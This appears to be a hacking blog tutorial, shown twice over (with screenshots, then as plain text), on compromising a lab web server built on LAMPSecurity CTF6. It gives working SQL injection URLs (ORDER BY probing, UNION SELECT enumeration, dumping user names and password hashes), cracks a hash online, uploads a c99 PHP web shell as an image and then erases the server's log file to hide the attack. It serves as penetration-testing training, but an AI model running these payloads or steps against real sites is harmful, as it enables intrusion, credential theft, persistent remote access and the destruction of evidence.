Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tHQFah1bCc8eS9MQf-HpVMTaFrTfO6TF-2WznBNOFfQ374d0w-f7Juh5zWvQLQ40I-ydoRPd_-_TXfemHwEzE3l8K0bZ091SNy_na6pbmoS4_fsel94Rl_7q_uN9gBvhAitxcjvAziT7qG4uDBI-eBcIexWXACPEUKn4jNaE1HUu3q=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ufd1J3wvW9X7VWa6jdF0JL-7gdqX_5Vbd9tIw4scNQARefmd2XgJ--vq9zeFhQVE4Rdlx0VK3-SBpZe4j2VLv9oFCfSBpozxSw6H8yijlsbj0IObDb0_YNh9rsrGC-gemkEtyLwGAO4Po8XIIqKP_Rx-NrpoC7onVFX1zNSUDDgEGALA=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_skK6ri9W9B5F-Pm100bI0MWw3j32X7qeZjMYjsJdIbAdm1-RQbgKyqAVIzGgit4divTJvWW7QP8BGWHAx-ZKp6UvK-grpN3aUXzijIZx1qW0POrGniEupYTIP3W4Kszd8Ngor-9TlbeWUA7BmDoCsSTb2AH9BMBuDu925Sy2jyQwNPQA=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vKowHgw8AqXY7L_lWBgM5blLaxaF-ue4c1yiWJ7g1ZfIV6xv-Sx73NKWevlM3rUA83TynEcdnEYxJ5n8QoJ8PbArSRJRleuF7uyOD5W8DO3IknIIAZTIXpFyhqN3M6Eu33F8-f48wBRIWFyxCgoiUy_16UU6ISR_Fe-e12ZzImmTS0PQ=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t40gwZOBESwpHjtXf3ymcF2xh-4tlXtq_uQjMLIKsYGuUpZNfmfA9oHgyDYeznX00o_PuUmTx0W6SQumvhGylf9fx063qjRXboPWSBkelubd6PJb6qEMu10ixuheDcHJDwc4Q6MSrbOcVkm81yYTEjj_jdAK5Z9kv_R894h0--rQnZOQ=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s8brR0rDV8eIt0jl_CBlHxbyqUgd5JGL-yNEpoqkZFgczhtugLZdbUGecF4s6ls7kIjAyn4bamDkxsYI9ziTar-bHNjDqO3jGpdoo5M__xJJ5FQzylWD4YxWQ6hEWk6e_9v3MqbYTE3BKnHywMchD77Shq0-DaMZ67KNMQdkogCGG-=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vKKVobgg2KrK26iwtXnLikQCVb6FNAo_wClS3Bz-j3LqmXrBNkoep1GCi0k6c60Ne6tDK9Nqqq4O7EixSTZOKfWJHAhiD4LXkxJxVB5MQiNlDAlqxo0tp09I0WyBnH-O6drdFFhM7OuDCAhzafntQxeUAaDAOWFUkZXFug-FvtXnnrb3w=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u8EhEVLaNkPIjZq_ymEyLyBgCjPjiBIVb1dK9kfT06mGgcbV2-85t7ckZ56ozEEBRxpP2ZNp2iW7z_iSgAcX7XXOiD-JYJ3OAJjXqu1LAbzw41E6T4GgzFn-7xDWiQ2VRakmNpMH3xV5rhuHcVqOqV82SGJXpzk0zf4AgJIIqcb5CWSVY=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v2av8IaF4AiusiWzQ1x2ZzMrSRV373LIh-pkejKPqpBIwwdyTOWy7rHo4Cl222a_tTGhwz9t1VOCX5F89mxLJvRd1a9H4sfFXdWTDcHbUnc8EugswDlAiTJ1doFC1ikgVnwFqS3NbWV57TFDKFjzNXHf5odhJld3yPGTU7k_Cz-JmB3pk=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uJjTD6hQBO96CWf-jzsOlfb8rBQ3Oy-3V5BVViOtwl5DO5jBkPOYKQJVI2pHFsICgoxgQN_ypq8xjcjcvL9-bMtAsNE1oYSoCntZ7IdJtWUz70k1O9LcQb-3XAIkAUGVSXJLhBM07Lh5UnKqUO06-L-XyFULKxViNElU1ZNfBy8pTwPFo=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vsbdm6ItSgC9KMDxAbJZgEDMfVxedZNoUL2fzCuH6IyQVzQoAF9wZdk8i2O--qgyXA5TBkv1co5Y5jRm4F0aW49jo-942NjeGdZD_Wlx-8hpK5kpDIrF3eZOdkdSiPoE9vX_3gf1jnMOiimU8kFAlIOctfGys6B3otHDckszuF3iMDgw=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vvvpgyK5S7vIsQ5ZHxFD8m1jpa8JQhDeqZG71WlCFS6ahoSdlWH6G6B1is8t4csXV0hRoUG1oq9e4x5u6ofGaXqG5kx6bpuRr16coNEiz7o_JhCen41qU933mzG8UIV247wrla8C75iyHnVjeg179E5cfgsI-dSnhh0KQxP9ApJZl4X0E=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vTnVCISUP2nWnZcixGUAh32QwoDqc7kre7KZPnC9w5AeAKs2mbhGB_r4f0bzCm49n2QTWB9LEl50YKkAIrtXwHCyrbByAi27RbmY3MkkksTy943KzhffUU_jmw-CcGCslxUqeu1NUmvGz0J4roJz4LFyoaEpcLfedbbKbMIIJqmv7PsiM=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vGqFTcfxmqlp0Lm5DInazFU2Q-v-hHJB-17wzyVRYwZ0Y6SvJ7jO67VDoW1hAeMTEGw8m2I_knvaLaCwFo2QV9PT2o7zOOTPH0gAvuWMR_2sJK5PVbCMCBiOknOwFc3ZwcXkhrWko6qFQI7Xw2n72oRsA0vIc6wzUbhzYdgkrEDPQZIw=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vcWpGgm1U1W90fXOoaTcg2ZKjXghCQI4dqcAeuVNGXzxnwcKFZdbpENAMMut17vm6WKURiIbYHx6WcQr6fXH9RVz0tlX9pt9y1nEyiZl6MigrHPbmgWJOPM_15mXkl9jMu_1d2usnmV_9tTFfm7LYAzzw4rkH-WbZv3Lknt7tkQRlhCg=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_siiDcWQhiIZwbZeHsT7kozahXCYHpJebCCeJWfccKd6jcde5GNTIBeqBYfyvatd9UzjIJB-6bsdeWdmN9LTQqLZ5strIwUv6iaGPgFCKmr8F0QVK8982q9pXAsvSQGHpz0IcScN909kcB3gDotJkjKGcglrjOFxdnWxQD-m5gBAuBjEvw=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tOjtn9LRSZeEgam3hsENElRZmUJelM2CCHnesBtFtHC4BwdWHY4NcIj7zSL91kn05NDt1Y7fJGqECyJQ9CvEx_MNRc4_Fq7SRnpgyXrAF4Kt6fEbCdOOL0a2IVUtxZ1TmXIK9gaUrHk2DxqV4ZrKQvRPrGGVgJPi9w-W1SkMnXriPuQhY=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v9BM59HoQRZXcFRwjroYGpPYg-8HnloDC2mY26dOEtRa5EuJSHnspG8laPLpdOOzxlzLxcCqwFsBEQ2UPrIB8EA0sfPjw3pmC6gmVfFsNPXz04ZXu7cSm638fSCjlXJ1w4NwgKLDoicu9KO_RSGexPNBbfdKEeuQ1E6VCnkmt02iZGjR0=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t0MjaZ5RPYCX88u0I5t3VKwyZoMV-EGtbpUTCnMBK9dXVNdhBT184NaWPAqPwJRRJSk0-PiGDKXMcK_3DzNTvmIp1Dce5cOUOiahYc-FfQ-f-6xT9Aw-RX7se72ROOKSq6Hs6qRA7GisMva88aZiZj2QymXIeN2riW4VBu44DN2moGOec=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u-r2I6BjoLr6MN7bHUiD5bKbqiXeQJ3vvhECIRisV4_T-zcwEpVeII6rWxA0zea0kVLca9y8cSvuhH_syCLv7KG9YRRGMVc6NPM8L9grtIxrqEf92LaLZ4gdCxS0I_4UlrF0IhAs_b5IFM2F7qjtermDhaYc0Zr1D6H0bxnhdeyennZWU=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_spHAf1ibHcIo2z-RzW-zOfRxHcXSWqhAfLrjMfGJwQuLxsToC8GY8ku5ts05kE0iRtYpYW8gP_RfaegPK2pQuEkIAZAtlzKg9SS3Ot0feSzzIHAbpFGPTHodZWTj-dz3ZXq4Ug2ZE8K-vCvKnUUkNB40H9otwYeYl7tYAjxJgqEKTkgFE=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tnXkX_OJSCUh0pt0l5gWiCGGQwBrITijMluzuRMUIPzEHt2x71YuAkX37aM3jHKNrXuJbh_kGp9qqJnvuKC_sIdXl0Hn0EkPHQNoGzVkix03A81N-tq9Q8hYdgQNIyLF7ld6tfK8_ooQ_zneuSkFiNFiHSDYh2bu_Cs_QCJiAhGk6Dufo=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t8wurRiMU0MqmhjFsLq_-OPx0R7VnbiKKwEjQjyDd7E_bGV41-r1mXS7hU3okYjjvgSd5K2ATi4ZST7anWUllgR4hOMUE3_cZ96z8Ya5u1V7lL1bbFCc5syrHteuerbtcxD9kEFB_XIshAeFImRNOFaOjaoADAwpZI5iHQrd-gXcpz7VU=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vAwV6QHwMfXd33-IQeHFa0p9Mr7j7urLsy6W5fyFO91ikHRHFlwDq7oUOqDjjYXYXIS9OhxVobrM-2dgSWTDeb_L_N6TrIVQQDz0XXrWW0VHgvcxWKTiWG8Uz3tQ9WD6iKygDmz6vRHiVxpXh_87hwS0ZsvBMjWQhkPdJsFJwy7RZgSb0=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t8pkeYIz4HJLs5Ppyhw0qVGxotHeEWzCbF5bLn74HOtz2EKNHickpalMVWwH_qkJuozrmXt7lsvfe6MpHeaOuYvZFIQwYjs6dEdJG4knWsHURBJl1iTMGJq1_RgUJDDXq2jXEji5CEFPveFptLvN16HMrdauE2OaEDUqgKT8UE8k1hGw=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uvsbVzVnAN_B-mwxWkPJgy7qxlPYlL9EhGIlB-QvlCw7RggyYpV1YKWNlSRD6NK4ukbLw6cKNruAP80MEvAr8PlKHZ___jjvGKabAv7VqKRLWngI2TJ52L5pbRRU6rXrGcvoFdII-HRAcPxQlSuz_XBE2HMl5-UxW_y1OC8vDESroehQ=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tGHmbUfwjDY1l5gVjLdKHU1FDMgfiYbV5DS4mQYhNmWOY4Kn1kP3m6dMW1oRdZ3rHAu2GOanSoG7hXcxLaOtuExIAgoWIMLoNMcxYOoevU2CO-BxaEyKS4NKPCe4ILFNUvJdDPscksPMv9JxqQHcXAkbD0W_2g_YhPbugFKkViQTw43Do=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v57bD27nGL4gPz7NjpcdElU16-g49WNwMeBB6GWcb9Kg54x8_PaN0w5V4vN2YLsgPQIR7werG56etD-HpvFkdqRYSTdrFvQaRR9vDGB5Nu7clAGspJMYFxblWaHMlVO0GBTSOFEAN2uJoIZAO4KoltIYpSq31R-3Pjgxzbb1g6qw-FwHs=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uC1EimL-zMBTAvDl0QScZDr3kMlI6Gx14F4GirmehOlWEczEybosfu-DaBf9VGQweSd-XmkGV-RrDaXeciV1FqXJ_hhzO806pQn3O-fNw-t99pZ-MOXDaqyVIR493A5cmq-WxJHEBhdJdzbVuc-FA6nYB0P_RajG7sECjL899w-kEn9A=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tl4CjpiXeKsmXHbna9XtIPr5kqAwwsNzASRMlhqfG3oPINXRi98RJzhGKP7-bKKWg_q_mVI6liVvRI2FrhkAIelhBFcYli-vtZKWFWabJPbhO0BMzYSD_wTXxbgPprK80g8N-U2Tzd_dIFvCKesvq66eE4lwMZdcbbhttlQVI5ghye1jA=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tqlf7D7o0TFqMMlCQbcWO1JX7BSoo1m6vyTLxxbiLFkTfEcEoF0hoZhgT2ltNTvXBObgXDMIHtHN35OPWpwP3U8aRpf6-lQB03Ly2BlP-YEQx_WLcnIETN8z08gPvOtFVq3EyTjFI3T2yyRbCEW5VvKEqO-Avm5S0F-yLDPk41Izjf17U=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s8J8dHEwmkS23vs7X_WPl7hrpgFvdzHZM6RRy1d8sjWaFm56lReWb6TKBGlRfoK-WGwue-y0SQxL4H3KeWVxb1SidPxbT4EdxDmSf0Yl2tb7D4Jor-xwT1oZWnCRSzvmLQbgngHniFdtjnHGxvLPyUFC4sLSs95ykEzLN8G3kLcmRw67Y=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vukZ9mSb8DpwLFP0ujySAQjtvoFWmnocWa1QPpTzYz0Fojgq2ACv0iERgowdHgEEe3wChvyjU8SeRymz_d4dxqMkxjcAhue3GTpq-5G70y1CgyT1--k0wWuW6v4kV1c96X9Y2jfkyYThwa-SyEtTb1SfX3XrjZLR9RTjI1tJOXlgklS_s=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vvUDK5S86E1swx9eSnBIOCJehyVnmwv6P3wJem-w9RehZzNtoePHH-UtpSWXxOu_a9TU6Sn7yNLEF2aIR0YOMNTRIGM2uKHDNcHXXN3lChvPC_tidpqR2Yuu6NeHhm4lqi1ovqMz8QV3MsqZWbcczygD9Zt4yd2lUJ7c2uJJRDqXxnNRU=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_scCyzqeaLZBEWHMX5lO11fqDbs-KBVKOUFqsz01B9CLLAhE-VwKHD5nQsXE41x9-UnGt4WpNVwCuo03Y5rRBCkNbjQzRmKswvmudAljSz7nQvfR4YDNomfSvgJ35DJUwHobUdqxgPfanM3iumyaphfEe1F1VrlSJtmBuK5ruPwJt0w5iY=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_udVJS8PGiaHOxjaMUSJWZCmkY1LNxKZse9v3B3762odhoEuwMAZw1BeNsL4fJdkO_u-UHinoxesh-y1aE_cO4zvTrw-O8lZktZ4jD5bIA6D2XGGnaZfIOW6ZSBNtyD0BSu7XxOebH-KVQn3D3Uv23J4wRVpio6idcYJawGTcpF_Y3HVWY=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v2BmsTGsianuy-VhsXKWJks_aXxti12BJbMNYkT3GGKG20brfy7OTdVoOPTwqAyetySucnrDHw9MMySt91ZeYSyBivnjogfVmEt7IZ0YVWjAbPe79T8FCyubui3Adm4SwHZrtdnppcXggLuAvUSpWWNSde1eq3VA-EUiPky4ioqKAlUg=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vJ9Fez2bYQXZyevS7WM60CnCMr6afCCQUXxbspCicXH-uAMCBd_0b-FY5rvoeilr_ipS74cFCSux0hyxYmkXXPFLgSKAqh0IVYpVZoLIYSjJ2rM1h0hit93n9V0S9WS_NIAsvyUUH_JrWYak1eeY10gSeOMeo-3gHWOIxu_9AeYV7MfvQ=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_urmQP9qj_1QNwVnYwmoPHyt2XgnTqzzr9ddHbfh8ASHSrWiZZhukefT_M4SwmmqT7umqSAfktdVGAg1i71p2jrRrMg8NLdDkXhKzGKa6xKmZUaI9swb4OwJtQoQS3CYf5SGtET3Q9Jr_Duk948hSlbWHjlD7stoZZCNy5BzYH5_CzJQQ=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tr2YXbAfkBlraUUmg3FuIMOHnZTZ7zgunHQG2QAHmau1PVUTmq-7SH_AB3IHTJisPLxYbR0PlUCFXTo6oaMDbVE8j-rFcStICb0Wus6wjPNLvz21p6DvoqL8uaccWEI-OSfMrveq_rK_dZxuSVGfUiI1AcgM-1kA1HRNVVPxHS7BXuP8M=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tqjASsRQJynfw9gDgqgYKg7Vxm5gkVcWhCr_AFmlTqB_6nEylZ0RAXvWkaurXB0OSoKWR1ghgeeVgjseZ8uVWeGo7CXohsbFfDMqkSpNA6coKD6SWU6texn-VzsvzsDbjB-32kW5mzddLaj6DSn5YBnZMRBlCkHL9iqMBbAZLfjgUlhSU=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uw6xfHNYzKm4WLBux0kEuiyRdX8Bm5Zmo6UkedAP9CtD8KVn9dey1UhMYcmqlSo7m6USt6hbaUqFQeYbB_xOnJlqZi0sQJ2HGqAI2yYGsya9vdL4M1b5cNVt17vw8FxJ1stlbdWDJkvlugjxW__nLHYYZtqvSKFlpaqkuJz8abiy1lB_o=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tQh8iZ7jTX7aG9QNp0ZLFJh7fv-xbG-N9hVXmnHc1Ps9wf_MQjW4VPgy4-FSYGXgs9G0Aaw374bNxJOIRr9xFzvHiBOyJIrvyHpnZbSAtmDdtbKcl3_CjZUWr4yjngmIl3ZdfVU7lGa-VT0KHQtp6VPgGMBJ9UfoxULNaw1gJp5KwezIc=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v1eHXMr0O9CY3uy4YmUp7GaeZAEsnCH12zt2aGdQQhoWPviBpAePVrrzMCixzrOjqVWKiTcPYyroffmckXpAxFnfE0z6rGWRFWlx0OcNOkMZpP3wwwfAxbqjls4E-x2431HIZsM7dngLt4OQwvKlSm98XqaC8bm_YxPTiyNlXt07y5ow=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_utC1aWYQ22qgJ27EjyiQqNfUniuw57CgdpqqCzPyCJtD0ZMyseXIjVhVW7Gn9ayg5PyheDBgodZO2iFkhCjiz6fWSPa5bRCd4y4wZS9W6SL32I0CYzsHKmii-ZQr7cL_WkllkGyZOCEocmqbbWD6jxwZaQsThORT-igkzAafEuufEhXcU=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7
Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7
Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,7
5.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tables
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns
Step 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'
Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from user
Step 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from user
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete